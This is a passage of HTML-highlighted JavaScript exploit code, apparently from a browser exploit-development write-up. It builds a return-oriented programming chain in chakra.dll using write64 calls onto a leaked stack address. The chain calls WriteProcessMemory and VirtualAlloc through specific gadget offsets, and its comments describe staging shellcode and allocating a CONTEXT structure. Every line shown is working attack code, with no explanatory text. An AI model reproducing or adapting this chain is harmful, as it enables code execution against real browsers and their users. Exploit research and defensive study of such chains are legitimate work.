<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtualAlloc() ROP chain</span>
<span class="c1">// Stage 7 -&gt; Allocate some local memory to store the CONTEXT structure from GetThreadContext</span>

<span class="c1">// DWORD flProtect (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// PAGE_READWRITE (0x4)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (let VirtualAlloc() decide the address)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x000004d0</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// (0x4d0 bytes)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT (0x3000)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!VirtualAlloc</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x5ac10</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!VirtualAlloc address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!VirtualAlloc)</span>
<span class="nx">next</span><span class="p">();</span>
